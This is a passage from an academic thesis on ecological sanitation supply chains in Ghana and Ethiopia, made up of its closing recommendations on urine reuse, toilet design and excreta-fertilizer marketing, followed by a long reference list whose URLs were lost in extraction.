improvement of the standard of living for inhabitants, environmental sustainability, employment opportunities as well as the potential involvement of local small and medium enterprises in the logistics of an ecosan system. Applying urine in agriculture can benefit farmers through a higher crop productivity, which would have a direct impact on farmers income, and could make them independent of mineral fertilizer. Even though the potential economic feasibility of the projects has been proven by an extensive profitability analysis, their practicability needs to be tested on the ground. It is necessary to create and innovate toilet designs to successfully follow technological trends, for example, for the application in the Terra Preta Sanitation concept. Ecosan could benefit from a large-scale project where different toilet designs would be tested, whereby problems would be monitored and solved through
206 182 communicating them to engineers and redesigning toilets. Sanitation is not only about technology. A major part of it is rooted in local aspects such as availability of infrastructure, raw material, space, spare parts, groundwater table level, water scarcity and weather patterns, to name just a few. Once toilet designs are successfully field-tested, they could be implemented in large scale. Marketing of human excreta is not yet widely practiced, with only a few examples surfacing here and there (e.g., urine sold to local farmers from public urine diverting dry toilets installed by the NGO Whenever the Need in India) (Gröber et al., 2011a). The social acceptance of excreta based fertilizers in agriculture should be addressed to make marketing of human excreta possible. This will require a suitable awareness raising campaign. Furthermore, showing the economic benefits of excreta based fertilizer application in agriculture should be explored by, for example, setting up demonstration farms. Further research should consider making use of sanitized feces in the proposed supply chain. With the declining soil fertility worldwide, returning nutrients back into agriculture will be gaining in importance more and more. Also, safe application of ecosan products (urine and feces) in agriculture needs to be the focal point of reuse. In this aspect, methods of urine treatment for successful removal of pharmaceutical residues need to be studied.
207 183 References Handelsgesetzbuch: Einschließlich Seehandelsrecht, Gesellschaftsrecht, Wertpapierrecht, Gütertransportrecht, Wettbewerbsrecht (2003). Beck, München, ISBN Sustainable sanitation service delivery Arba Minch Town. Sanitation Project in Peri- Urban Areas of Africa (SPA) Business plan (2010). Aalbers H. (1999). Resource recovery from faecal sludge using constructed wetlands. A survey of the literature. UWEP Working Document. WASTE, The Netherlands. Abdul-Ghaniyu A., Kranjac-Berisavljevic G. and Yakubu I.B. (2002). Sources and quality of water used in urban vegetable production in Tamale Municipality, Ghana. In: Urban Agriculture Magazine. vol 8, 10. Adamtey N. (2005). Recycling and evaluation of agricultural and agro-industrial residues for agricultural use in Ghana: A case study in the Kwaebibirem District. M. Phil. thesis, School of Research and Graduate Studies, Faculty of Science, University of Ghana, Legon, Ghana. African Initiatives (n.d.). Ghana: Developing sustainable livelihoods in Northern Ghana. (accessed 09 November 2011). Ageba G. and Amha W. (2006). Micro and small enterprises (MSEs) finance in Ethiopia: empirical evidence. In: Eastern Africa Social Science Research Review. vol 22(1), Agyarko K. and Adomako W.J. (2007). Survey of the use of organic manure among vegetable farmers in selected districts in Ghana. In: Journal of Sustainable Development in Africa. vol 9(4). Ahlert D., Ahlert M., Van Duong Dinh H., Fleisch H., Heußler T., Kilee L. and Meuter J. (2008). Social franchising. A way of systematic replication to increase social impact. Bundesverband Deutscher Stiftungen, Berlin, Germany. nchise_manual_englisch.pdf (accessed 28 July 2011). Akinpelu D. (2008). DMT Mobile Toilets to produce gas from human waste. (accessed 21 July 2011). Al-Hassan R., Breisinger C., Diao X. and Thurlow J. (2008). Agriculture for development in Ghana: New opportunities and challenges. ReSAKSS Working Paper No. 16. International Food Policy Research Institute. (accessed 15 November 2011). Alkabbashi A.N., Alam M.Z., Mirghani M.E.S. and Al-Fusaiel A.M.A. (2009). Biodiesel production from crude palm oil by transesterification process. In: Journal of Applied Science. vol 9(17), Amha W. (2008). Innovations in the delivery of financial services through the deposit taking microfinance institutions (MFIs) in Ethiopia. A paper presented at AFRACA workshop on innovations in addressing rural finance challenges in Africa, Addis Ababa, Ethiopia. Amoah P. (2008). Wastewater irrigated vegetable production: Contamination pathway for health risk reduction in Accra, Kumasi and Tamale Ghana. PhD thesis, Department of Theoretical and Applied Biology, Kwame Nkrumah University of Science and Technology, Kumasi, Ghana. Amoah P., Drechsel P., Abaidoo R.C. and Henseler M. (2007). Irrigated urban vegetable production in Ghana: Microbiological contamination in farms and
208 184 markets and associated consumer risk groups. In: Journal of Water and Health. vol 5(3), AMU and ARB (2007). Baseline study report of Arba Minch town. Report for the Project "Resource Oriented Sanitation Concept for Peri-Urban Areas in Africa (ROSA)". Arba Minch University (AMU) and Arba Minch Town Water Service (ARB). AMU and ARB (2009). Arba Minch town ROSA project booklet. Arba Minch University (AMU) and Arba Minch Town Water Service (ARB), Arba Minch, Ethiopia. Appeaning A.K. (2010). Urban and peri-urban agriculture in developing countries studied using remote sensing and in situ methods. In: Remote Sensing. vol 2(2), Aqua for All (n.d.). Corporate brochure. n.pdf (accessed 09 March 2012). AquaSanTec (2007). Company homepage. (accessed 07 February 2012). ARM (n.d.). Rotational molding. The introductory guide to designing rotationally moulded plastics parts. Association of Rotational Molders (ARM), Oak Brook, Illinois, USA. ARM (2000). Rotational molding. The basic process. Association of Rotational Molders (ARM), Oak Brook, Illinois, USA. Asiedu A.B. (2002). Poverty reduction among the urban poor in Accra, Ghana - A comparative study of the roles of two community based organizations (CBOs). In: Transforming Civil Society, Citizenship and Governance: The Third Sector in an Era of Global (Dis)Order: Proceedings of the International Society for Third Sector Research (ISTR) 5th International Conference. Cape Town, South Africa, 7-10 July, Ayele M. (2005). Water is life, sanitation is dignity: Sanitation preference and household latrine designs. Briefing Note 1. WaterAid, Ethiopia. _1.pdf (accessed 28 July 2011). Bahri A. (2007). Water reuse in Africa: Challenges and opportunities. In: International Symposium on Water Supply and Sanitation for All: Obligation of the water professionals for our common future. H. Huber; P. Wilderer and S. Paris (Eds.). Hans Huber AG. Berching, Germany. Banful A.B. (2009). Operational details of the 2008 fertilizer subsidy in Ghana: Preliminary report. Ghana Strategy Support Program Background Paper 18. International Food Policy Research Institute, Washington, D.C. (accessed 28 February 2011). Baskovich M.R. (2010). Promoting sanitation markets at the Bottom of the Pyramid in Peru: A win-win scenario for government, the private sector and communities. (accessed 25 October 2011). BBC World Service Trust (2006). Research Summary Report: African Media Development Initiative. rt.pdf (accessed 28 April 2010). Beall G.L. (1998). Rotational molding: Design, materials, tooling, and processing. Hanser, Munich, Germany, ISBN
209 Berger W. (2010). Ökologische Kreislaufwirtschaft an der Valley View University Accra (Ghana). Schlussbericht BMBF- Verbundvorhaben. Teilprojekt 2: Sanitärtechnik innerhalb von Gebäuden. schlussberichtvvughana02wd04731.pdf (accessed 24 February 2011). Bibby S. and Knapp A. (2007). From burden to communal responsibility: A sanitation success story from Southern Region in Ethiopia. Sanitation and Hygiene Series. Water and Sanitation Program - Africa, World Bank, Nairobi Kenya. al_responsibility-ethiopa.pdf (accessed 19 April 2010). Blume G. (2009). Low-cost sanitation: technologies, marketing and promotion for Arba Minch, Ethiopia. Project work, Institute of Wastewater Management and Water Protection, Hamburg University of Technology, Hamburg, Germany. British Plastics Federation (n.d.). Plastipedia: Rotational Moulding. (accessed 06 February 2012). Business in Ghana (2011). Ghana Oil Palm Development Company Limited - GOPDC. Ghana Business Pages: The Ghana Business Insight Center. link&link_id=42&itemid=26 (accessed 16 November 2011). Caminiti M., Cassal M., OhEigeartaigh M. and Zeru Y. (2007). Feasibility study of biofuel production in Ghana: Assessing competitiveness and structure of the industry's value chain. Elliott School of International Affairs - The George Washington University. (accessed 08 February 2011). Central Statistical Agency of Ethiopia (2011) National statistics (abstracts): Agriculture &Itemid=561 (accessed 22 November 2011). Chary V.S., Narender A. and Rao K.R. (2003). Pay-and-use toilets in India. In: Waterlines. vol 21(3), CIA (2005). The World Fact Book: Labor force - by occupation. Central Intelligence Agency of the United States of America (CIA). (accessed 25 November 2011). CLARA (2011). Project homepage. (accessed 28 February 2012). Cofie O. and Mainoo O.K. (2007). The potential for urine recovery and reuse in densely populated districts within the Accra Metropolitan Area. Exploratory study report prepared for the IWMI-SWITCH Project. Unpublished document. Cofie O., Amoah P., Egyir I., Adamtey N. and Tettey-Lowor F. (2011). Demonstration on the use of urine in urban agriculture. SWITCH demo final report. ure.pdf (accessed 21 November 2011). Cofie O., Drechsel P., Obuobie E., Danso G. and Keraita B. (2004). Environmental sanitation and urban agriculture in Ghana. In: Towards the Millennium Development Goals - Actions for water and environmental sanitation: Proceedings of the 29th WEDC Conference. Abuja, Nigeria, P. Harvey 185
210 186 (Ed.). Water Engineering and Development Centre. Loughborough, UK, pp Cofie O., Kranjac-Berisavljevic G. and Drechsel P. (2005). The use of human waste for peri-urban agriculture in Northern Ghana. In: Renewable Agriculture and Food Systems. vol 20(2), Cohen R. (2010). Toilets and cellphones. In: New York Times. (accessed 25 October 2011). Cordell D. (2010). The story of phosphorus: Sustainability implications of global phosphorus scarcity for food security. PhD thesis, The Tema Institute, Department of Water and Environmental Studies, Linköping University, Linköping, Sweden. Cordell D., Schmid-Neset T., White S. and Drangert J.O. (2009). Preferred future phosphorous scenarios: A framework for meeting long-term phosphorous needs for global food demand. In: International Conference on Nutrient Recovery from Wastewater Streams. Vancouver, British Columbia, Canada, May, K.I. Ashley; D.S. Mavinic and F.A. Koch (Eds.). IWA Publishing. London, UK, pp Corley R.H.V. and Tinker P.B. (2003). The oil palm. 4th ed. Blackwell Science Ltd., Oxford, ISBN Crawford R.J. and Kearns M.P. (2003). Practical guide to rotational moulding. Rapra Technology Limited, Shawbury, UK, ISBN Crawford R.J. and Throne J.L. (2002). Rotational molding technology. Plastics Design Library / William Andrew Publishing, Norwich, NY, ISBN Crundwell F.K. (2008). Finance for engineers: Evaluation and funding of capital projects. Springer-Verlag, London, ISBN CSA (2007). Statistical tables for the 2007 Population and Housing Census of Ethiopia. Central Statistical Agency of Ethiopia (CSA). 2&Itemid=521 (accessed 19 December 2011). Dabire L. (2011). Sanitation policy. Western Africa / Ghana. (accessed 20 July 2011). Danida (2004). Ghana-Denmark partnership. Strategy for Development Cooperation AC00F410763/0/GhanaDenmarkPartnership.pdf (accessed 08 March 2012). Danso G., Drechsel P. and Gyiele L. (2004). Urban household perception of urineexcreta and solid waste source separation in urban areas of Ghana. Davis J. (2005). Private-sector participation in the water and sanitation sector. In: Annual Review of Environment and Resources. vol 30(1), Dejene A. (2000). Report on food security, environment and population in the context of a policy framework for sustainable development. Case study of Ethiopia. UNECA, SRDC-EA, Kigali. Dejene A. (2003). Integrated natural resources management to enhance food security: The case for community-based approaches in Ethiopia. Food and Agriculture Organization of the United Nations, Rome, Italy.
211 187 (accessed 21 November 2011). Demirbas A. (2008). Biodiesel: A realistic fuel alternative for diesel engines. Springer, London, ISBN Devereux S. (2006). Agriculture and social protection in Ghana: A leap in the dark? Policy Brief 30. Devine J. (2010). Sanitation marketing as an emergent application of social marketing: Experiences from East Java. In: Cases in Public Health Communication & Marketing. vol 4, DHV Consultants (2002). Environmental Support Project, Component 3. Arba Minch Water Supply and Sanitation. Ministry of Water Resources, Ethiopia. DMT Toilets (2010). Company homepage. (accessed 21 July 2011). Dockhorn T. (2009). About the economy of phosphorus recovery. In: International Conference on Nutrient Recovery from Wastewater Streams. Vancouver, British Columbia, Canada, May, K.I. Ashley; D.S. Mavinic and F.A. Koch (Eds.). IWA Publishing. London, UK, pp Drechsel P., Giordano M. and Gyiele L. (2004). Valuing nutrients in soil and water: Concepts and techniques with examples from IWMI studies in the developing world. Research Report 82. International Water Management Institute, Colombo, Sri Lanka, ISBN Drechsel P., Graefe S., Sonou M. and Cofie O.O. (2006). Informal irrigation in urban West Africa: An overview. IWMI Research Report 102. International Water Management Institute, Colombo, Sri Lanka. 2.pdf (accessed 08 November 2011). Drewko A. (2007). Resource-oriented public toilets in developing countries: Ideas, design, operation and maintenance for Arba Minch, Ethiopia. M.Sc. thesis, Institute of Wastewater Management and Water Protection, Hamburg University of Technology, Hamburg, Germany. public-toilets-arbaminch-ethiopia-en.pdf (accessed 31 October 2011). Drewko A. and Otterpohl R. (2009). Analysis of stakeholders in the sanitation sector on the example of Arba Minch, Ethiopia. In: Water, sanitation and hygiene. Sustainable development and multisectoral approaches: Proceedings of the 34th WEDC International Conference. Addis Ababa, Ethiopia, May R. Shaw (Ed.). Water Engineering and Development Centre. Loughborough, UK, pp Drewko A. and Otterpohl R. (2010). Potential and limitations for the private sector involvement in sanitation in Ethiopia. In: Young Water Professionals Conference: Proceedings of the 5th YWP Conference and 3rd IWA-AWA National Conference. Sydney, Australia, 5-7 July Drewko A., Martinez Neri I.F. and Otterpohl R. (2010). Closing the loop - ecological sanitation supply chain on the example of Accra and Kade, Ghana. In: Sustainable Solutions for Small Water and Wastewater Treatment Systems: Proceedings of the 9th IWA Specialised Group Conference on Small Water and Wastewater Systems and 2nd IWA Specialised Group on Resourceoriented Sanitation. Girona, Spain, April Economic Commission for Africa (2001). Booklet on Population, Environment, Development and Agriculture (PEDA) Model. Projections for Ethiopia.
212 188 (accessed 23 November 2011). Egziabher A.G., Lee-Smith D., Maxwell D.G., Memon P.A., Mougeot L.J. and Sawio C.J. (1994). Cities feeding people: An examination of urban agriculture in East Africa. International Development Research Centre, Ottawa, ISBN X. Elsbett G. and Bialkowsky M. (2003). Engines running on pure vegetable oil as regrowing fuel: History, development, experience, chances. Shanghai International Symposium on I.C. Engine, Shanghai, China. (accessed 08 February 2011). Energy Commission (2010). Bioenergy policy for Ghana: Draft. (accessed 08 February 2011). Environmental Protection Authority (2003). Standards for industrial pollution control in Ethiopia. Prepared by the Federal Environmental Protection Authority and the United Nations Industrial Development Organisation under the Ecologically Sustainable Industrial Development Project, Addis Ababa, Ethiopia. Ethiopian Investment Agency (2008a). Ethiopian investment guide, Addis Ababa, Ethiopia. Ethiopian Investment Agency (2008b). Factor costs, Addis Ababa, Ethiopia. Factura H., Bettendorf T., Buzie C., Pieplow H., Reckin J. and Otterpohl R. (2010). Terra Preta Sanitation: re discovered from an ancient Amazonian civilisation integrating sanitation, biowaste management and agriculture. In: Water Science and Technology. vol 61(10), FAO (2005a). Fertilizer use by crop in Ghana. Food and Agriculture Organization of the United Nations (FAO). 1st version, Rome, Italy. (accessed 28 February 2011). FAO (2005b). National soil degradation maps. Food and Agriculture Organization of the United Nations (FAO). (accessed 21 November 2011). FAO (2008). Current world fertilizer trends and outlook to Food and Agriculture Organization of the United Nations (FAO), Rome, Italy. (accessed 05 December 2011). FAO (2009a). Food and agricultural commodities production. Food and Agriculture Organization of the United Nations (FAO). (accessed 21 September 2011). FAO (2009b). PriceSTAT. Food and Agriculture Organization of the United Nations (FAO). (accessed 17 November 2011). FAO (2011a). CountrySTAT Ethiopia. Food and Agriculture Organization of the United Nations (FAO). (accessed 21 November 2011). FAO (2011b). Ecocrop. Food and Agriculture Organization of the United Nations (FAO). (accessed 09 February 2011). FAO (2012). FAOSTAT. Food and Agriculture Organization of the United Nations (FAO). (accessed 10 March 2012).
213 Faurès J.M. and Santini G. (2010). Interventions in water to improve livelihoods in rural areas. Food and Agriculture Organization of the United Nations, Rome, Italy. Ferriman A. (2007). BMJ readers choose the sanitary revolution as greatest medical advance since British Medical Journal (BMJ). (accessed 25 October 2011). Fewtrell L., Kaufmann R.B., Kay D., Enanoria W., Haller L. and Colford M.J. Jr. (2005). Water, sanitation, and hygiene interventions to reduce diarrhoea in less developed countries: A systematic review and meta-analysis. In: Lancet Infectious Diseases. vol 5(1), Florido L.V. and Cornejo A.T. (2002). Yemane Gmelina arborea (Roxb.). Research Information Series on Ecosystems, vol 14 (3). (accessed 02 February 2012). Fonseca C. (2006). Microfinance for water supply services. (accessed 08 March 2012). Forestry/Fuelwood Research and Development Project (1994). Growing multipurpose trees on small farms. Module 9: Species Fact Sheets. 2nd ed., Winrock International, Bangkok, Thailand. Forum for Social Studies (2009). FSS launches a development-oriented radio program in Debub. (accessed 08 March 2012). Foster V. and Briceño-Garmendia C. (Eds.) (2010). Africa's infrastructure: A time for transformation. International Bank for Reconstruction and Development / World Bank, Agence Française de Développement. Agence Française de Développement, Paris, France. Fuest V., Ampomah B., Haffner S. and Tweneboah E. (2005). Mapping the water sector of Ghana: An inventory of institutions and actors. GLOWA Volta research documentation. g_the_water_sector_of_ghana_-_institutions_and_actors.pdf (accessed 08 March 2012). Geller G., Berger W., Fries N., Germer J., Glücklich D., Hörner G., Laryea S. and Sauerborn J. (2006). Ecological development of settlements: The case study Valley View University, Accra, Ghana. In: Research and Development in Sub- Saharan Africa Germany Trade and Invest (2009a). Wirtschaftsdaten kompakt: Äthiopien. (accessed 01 July 2009). Germany Trade and Invest (2009b). Wirtschaftsentwicklung 2008/09 Äthiopien. (accessed 25 March 2010). Germany Trade and Invest (2011). Wirtschaftsdaten kompakt: Äthiopien. _ pdf (accessed 02 March 2012). Germer J. and Sauerborn J. (2008). Urine diverting dehydration toilets to harness nutrients: An estimation for Ghana. (accessed 18 June 2010). 189
214 190 Getahun N. (2006). The theory and practice of community radio in Ethiopia: The case study of Sidama and Kore Radio Development Initiative. M.Sc. thesis, Addis Ababa University, Addis Ababa, Ethiopia. (accessed 14 April 2010). Ghana Districts (2006). Homepage. (accessed 09 March 2012). Ghana Statistical Service (2008a). Ghana in figures. (accessed 30 November 2011). Ghana Statistical Service (2008b). Ghana living standards survey: Report of the fifth round. (accessed 08 November 2010). GhanaWeb (2010). Radio. (accessed 27 April 2010). Girmai A. (2007). The role of urban agriculture in ensuring food security: The case of Addis Ababa. In: Fostering new development pathways: Harnessing ruralurban linkages (RUL) to reduce poverty and improve environment in the highlands of Ethiopia: Proceedings of a planning workshop on Thematic Research Area of the Global Mountain Program. Addis Ababa, Ethiopia, August, G. Zeleke; P. Trutmann and A. Denekew (Eds.). GNIB (2008). Water for agriculture and energy in Africa: The challenges of climate change. Ghana National Investment Brief (GNIB). (accessed 08 November 2011). Gröber K., Crosweller D., Schröder E., Panchal-Segtnan A., Zurbrügg C. and Kappauf L. (2011a). Sanitation as a business - Factsheet of Working Group 9a. Sustainable Sanitation Alliance (SuSanA). (accessed 19 January 2012). Gröber K., McCreary C., Panzerbieter T., Rück J. and Kappauf L. (2011b). Public awareness raising and sanitation marketing - Factsheet of Working Group 9b. Sustainable Sanitation Alliance (SuSanA). (accessed 08 March 2012). Gurmit S., Lim Kim H., Teo L. and David Lee K. (1999). Oil palm and the environment: A Malaysian perspective. Vol. 1. Malaysian Oil Palm Growers Council. Hammond A.L., Kramer W.J., Katz R.S., Tran J. and Walker C. (2007). The next 4 billion. Market size and business strategy at the Base of the Pyramid. World Resources Institute and International Finance Corporation, Washington DC, USA. (accessed 07 October 2011). Heierli U. and Frias J. (2007). One fly is deadlier than 100 tigers: Total sanitation as a business and community action in Bangladesh and elsewhere. Swiss Agency for Development and Cooperation (SDC). (accessed 17 October 2011). Heinss U., Larmie S.A. and Strauss M. (1998). Solids separation and pond systems for the treatment of faecal sludges in the tropics: Lessons learnt and recommendations for preliminary design. EAWAG/SANDEC, Switzerland.
215 Henao J. and Baanante C. (2006). Agricultural production and soil nutrient mining in Africa: Implications for resource conservation and policy development. IFDC, Muscle Shoals, USA. Hickling A. (2007). 'Clean Water song hits Ghana s airwaves on World Water Day. (accessed 26 May 2010). Höglund C. (2001). Evaluation of microbial health risks associated with the reuse of source-separated humane urine. PhD thesis, Royal Institute of Technology, Stockholm, Sweden. (accessed 08 November 2010). Höglund C., Ashbolt N., Stenström T.A. and Svensson L. (2002). Viral persistence in source-separated human urine. In: Advances in Environmental Research. vol 6(3), Holland H. (2011). Cholera epidemic kills 60 in Ghana. In: Reuters Africa. (accessed 27 October 2011). Hossain M.K. (1999). Gmelina arborea: A popular plantation species in the tropics. Fact sheet, quick guide to multipurpose trees from around the world. f (accessed 09 February 2011). Howard S. (2005). Tapping into private sector? Private sector participation in water supply and sanitation, Ethiopia. _note_final_7new.pdf (accessed 08 March 2012). Hulme D. (2008). The story of the Grameen Bank: From subsidised microcredit to market-based microfinance. BWPI Working Paper 60. Brooks World Poverty Institute, Manchester, ISBN Hutton G. and Bartram J. (2008). Regional and global costs of attaining the water supply and sanitation target (Target 10) of the Millennium Development Goals. World Health Organization, Geneva, Switzerland. (accessed 04 February 2012). Hutton G., Haller L. and Bartram J. (2007). Global cost-benefit analysis of water supply and sanitation interventions. In: Journal of Water and Health. vol 5(4), ICMSF (1974). Micro-organisms in foods. Sampling for microbiological analysis: Principles and specific applications. The International Commission on Microbiological Specifications for Food (ICMSF), University of Toronto Press, Toronto, Canada. IFAD (2010). Desertification. International Fund for Agricultural Development (IFAD), Rome, Italy. (accessed 18 January 2012). IPNIS (2011). IPNIS database. Integrated Plant Nutrition Information System (IPNIS). Food and Agriculture Organization of the United Nations, Rome, Italy. (accessed 17 November 2011). Jenkins M.W. and Curtis V. (2005). Achieving the "good life": Why some people want latrines in rural Benin. In: Social Science and Medicine. vol 61(11), Jenkins M.W. and Scott B. (2007). Behavioral indicators of household decisionmaking and demand for sanitation and potential gains from sanitation marketing in Ghana. In: Social Science and Medicine. vol 64(12),
216 192 Johnston M. and Holloway T. (2007). A global comparison of national biodiesel production potentials. In: Environmental Science and Technology. vol 41(23), Jönsson H. and Vinnerås B. (2004). Adapting the nutrient content of urine and faeces in different countries using FAO and Swedish data. Jönsson H., Richert Stintzing A., Vinnerås B. and Salomon E. (2004). Guidelines on the use of urine and faeces in crop production. EcoSanRes Publication Series. Report , Stockholm Environment Institute: Stockholm, Sweden. (accessed 15 September 2011). Kafewo S. (2006). Ghana - research findings and conclusions: African Media Development Initiative, London, UK. l_report.pdf (accessed 28 April 2010). Kannan D. and Paliwal K. (1995). Effect of nursery fertilization on Cassia siamea seedlings growth and its impact on early field performance. In: Journal of Tropical Forest Science. vol 8(2), Kannana D. and Paliwala K. (1996). Fertilization response on growth, photosynthesis, starch accumulation, and leaf nitrogen status of Cassia siamea Lam. seedlings under nursery conditions. In: Journal of Sustainable Forestry. vol 4(1-2), Karikari K. (2000). The development of community media in English speaking West Africa. In: Promoting community media in Africa. K.S.T. Boafo (Ed.). Paris, France, pp (accessed 28 April 2010). Kinver M. (2008). BBC NEWS Science/Nature: Singer shines light on sanitation. (accessed 08 March 2012). Kleiner K. (2007). The backlash against biofuels. In: Nature Reports Climate Change. (accessed 29 November 2011). Knothe G. and Steidley K.R. (2005). Kinematic viscosity of biodiesel fuel components and related compounds. Influence of compound structure and comparison to petrodiesel fuel components. In: Fuel. vol 84(9), Koomson P. (2010). Perception and willingness of market actors on use of human urine and its products for urban in the city of Accra. Unpublished M.Phil. thesis, Department of Agricultural Economics and Agribusiness, University of Ghana. Koppaka R. (2011). Ten great public health achievements worldwide, In: Morbidity and mortality weekly report (MMWR). vol 60(24), a4_w (accessed 08 September 2011). Krausova M. and Banful A.B. (2010). Overview of the agricultural input sector in Ghana. IFPRI Discussion Paper International Food Policy Research Institute. (accessed 21 September 2011).
217 193 Kufogbe S.K., Forkuor G. and Muquah G. (2005). Exploratory studies on urban agriculture in Accra. Land use mapping and GIS. Final Report. RUAF-IWMI, Accra, Ghana. Kvarnström E., Emilsson K., Stintzing R.S., Johansson M., Jönsson H., af Petersens E., Schönning C., Christensen J., Hellström D., Qvarnström L., Ridderstolpe P. and Drangert J.O. (2006). Urine diversion: One step towards sustainable sanitation, Stockholm Environment Institute: Stockholm, Sweden. (accessed 15 September 2011). Lamba D. (1993). Urban agriculture research in East Africa: Record, capacities and opportunities. Cities Feeding People Series. Report 2. IDRC, Ottawa, Canada. (accessed 23 November 2011). Lesschen J.P., Stoorvogel J.J. and Smaling E.M.A. (2004). Scaling soil nutrient balances: Enabling mesolevel applications for African realities. Food and Agriculture Organization of the United Nations, Rome, ISBN Mahider and Demie (2005). Water and sanitation for all? Study on community based organisations and options for WATSAN credit scheme in Ticho, Ethiopia. _2005.pdf (accessed 08 March 2012). Mainoo A.A. and Ulzen-Appiah F. (1996). Growth, wood yield and energy characteristics of Leucaena leucocephala, Gliricidia sepium and Senna siamea at age 4 years. In: Ghana Journal of Forestry. vol 3, Mainoo N.O.K. (2007). Feasibility of low cost vermicompost production in Accra, Ghana. M.Sc. thesis, Department of Bioresource Engineering, McGill University, Montreal. Bioresource/Theses/theses/387NanaOseiMainoo2009/387NanaOseiMainoo20 09.pdf (accessed 09 November 2011). Mankiw N.G. (2004). Principles of economics. Thomson/South-Western, Mason, Ohio, ISBN Mann H.T. (1976). Sanitation without sewers. Overseas building notes no Martinez Neri I.F. (2009). Design of a supply chain for a sustainable sanitation system on the example of Accra and Kade, Ghana. M.Sc. thesis, Institute of Wastewater Management and Water Protection, Hamburg University of Technology, Hamburg, Germany. (accessed 28 July 2011). Mastny L. (2008). Biofuels for transport: Global potential and implications for sustainable energy and agriculture. Earthscan, London, ISBN Mathewson P. and Ayele M. (2005). A healthy debate: A discussion paper around sanitation and hygiene promotion, focusing on WSSHP project in Tigray, Ethiopia. (accessed 07 March 2012). McConville J. (2003). How to promote the use of latrines in developing countries. M.Sc. thesis, Department of Civil and Environmental Engineering, Michigan Technological University, USA. omotion_final.pdf (accessed 18 December 2011).
218 194 McDaid J. (1998). The grinding of PE powders for use in rotational moulding. PhD thesis in Mechanical and Manufacturing Engineering, The Queen s University, Belfast, United Kingdom. Mehta M. (2008). Assessing microfinance for water and sanitation: Exploring opportunities for sustainable scaling up. A study for the Bill & Melinda Gates Foundation, Ahmedabad, India. Mehta M. and Virjee K. (2003). Financing small water supply and sanitation service providers: Exploring the microfinance option in sub-saharan Africa. Water and Sanitation Program, Nairobi, Kenya. Meier A.G. (2008). A concept proposal to promote ecological sanitation systems in Accra, Ghana. Project work, Institute of Wastewater Management and Water Protection, Hamburg University of Technology, Hamburg, Germany. Ministry of Food and Agriculture (2010). Agriculture in Ghana: Facts and figures (2009). (accessed 21 November 2011). Ministry of Food and Agriculture (2011). Agriculture in Ghana: Facts and figures (2010). Statistics, Research and Information Directorate. (accessed 08 March 2012). MoFED (2006). Ethiopia: Building on progress. A Plan for Accelerated and Sustained Development to End Poverty (PASDEP) (2005/ /10). Federal Democratic Republic of Ethiopia, Ministry of Finance and Economic Development (MoFED), Addis Ababa, Ethiopia. MoH (2005). National Hygiene and Sanitation Strategy. Federal Democratic Republic of Ethiopia, Ministry of Health (MoH). SanitationStrategyAF.pdf (accessed 08 March 2012). MoH (2006). National Protocol for Hygiene and "On-site" Sanitation: To enable universal coverage of community-led improved hygiene and improved on-site sanitation in Ethiopia. Federal Democratic Republic of Ethiopia, Ministry of Health (MoH). Morgan P. (2004). An ecological approach to sanitation in Africa: A compilation of experiences, Harare, Zimbabwe. (accessed 01 July 2010). Mougeot L.J. (2000). Urban agriculture: Definition, presence, potentials and risks, and policy challenges. Cities Feeding People Series. Report 31. International Development Research Centre, Ottawa, Canada. (accessed 13 December 2011). MoWR (2001). Ethiopian Water Resources Strategy. Ministry of Water Resources (MoWR), Addis Ababa, Ethiopia. MoWR (2006). Universal Access Plan. Federal Democratic Republic of Ethiopia, Ministry of Water Resources (MoWR), Addis Ababa, Ethiopia. MoWR (2007). Water Supply, Sanitation & Hygiene (WASH) Multi-Stakeholder Forum-2 Statement. Ministry of Water Resources (MoWR), Addis Ababa, Ethiopia. MoWR, MoH and MoE (2006). Memorandum of Understanding between Ministry of Water Resources, Ministry of Health and Ministry of Education on the Integrated Implementation Modality of Water Supply, Sanitation and Hygiene Education Programs (WASH) in Ethiopia. Federal Democratic Republic of Ethiopia, Ministries of Water Resources (MoWR), Health (MoH) and Education (MoE), Addis Ababa, Ethiopia.
219 195 MoWR, MoH, MoE, MoUD and EUWI (2007). Needs assessment to achieve universal access to improved hygiene and sanitation by 2012: To enable 100% adoption of improved hygiene and sanitation. Federal Democratic Republic of Ethiopia, Ministries of Water Resources (MoWR), Health (MoH), Education (MoE) and Urban Development (MoUD), European Union Water Initiative (EUWI). Mukherjee N. (2001). Achieving sustained sanitation for the poor. Water and Sanitation Program- East Asia and the Pacific, Washington DC, USA. Müller A. (2003). Coloring of plastics: Fundamentals - colorants - preparations. Hanser, München, ISBN Murray A., Cofie O. and Drechsel P. (2011). Efficiency indicators for waste-based business models: fostering private-sector participation in wastewater and faecal sludge management. In: Water International. vol 36(4), MWRWH (2009). Ghana water and sanitation sector performance report. Ministry of Water Resources, Works and Housing (MWRWH), Accra, Ghana. (accessed 11 October 2011). National Academy of Sciences (1980). Firewood crops. Shrub and tree species for energy production. Report of an Ad Hoc Panel of the Advisory Committee on Technology Innovation, Board on Science and Technology for International Development Commission on International Relations, Washington DC, USA. NCDEX (2010). Linear low-density polyethylene. Product Note. National Commodity and Derivatives Exchange (NCDEX). e.pdf (accessed 21 March 2010). Nersesian R.L. (2010). Energy for the 21st century: A comprehensive guide to conventional and alternative sources. 2nd ed. M.E. Sharpe, Armonk, N.Y., ISBN Niwagaba C.B. (2009). Treatment technologies for human faeces and urine. PhD thesis, Swedish University of Agricultural Sciences, Uppsala, Sweden. Nordin A., Nyberg K. and Vinnerås B. (2009). Inactivation of Ascaris eggs in sourceseparated urine and faeces by ammonia at ambient temperatures. In: Applied and Environmental Microbiology. vol 75(3), OANDA (2012). Historical exchange rates. (accessed 10 March 2012).-IDRC-CPWF, Accra, Ghana, ISBN O'Loughlin R., Fentie G., Flannery B. and Emerson P.M. (2006). Follow-up of a low cost latrine promotion programme in one district of Amhara, Ethiopia: characteristics of early adopters and non-adopters. In: Tropical Medicine and International Health. vol 11(9), ORAAMP (2000). Urban agriculture in Addis Ababa. Office for the Revision of the Addis Ababa Master Plan (ORAAMP). Addis Ababa City Council, Addis Ababa, Ethiopia. Osswald T.A. (1998). Polymer processing fundamentals. Hanser, Munich, ISBN Otterpohl R. (2011). Fruchtbarer Boden, unsere wichtigste Energiequelle: Terra Preta. In: erneuerbare energie. vol 2011(2),
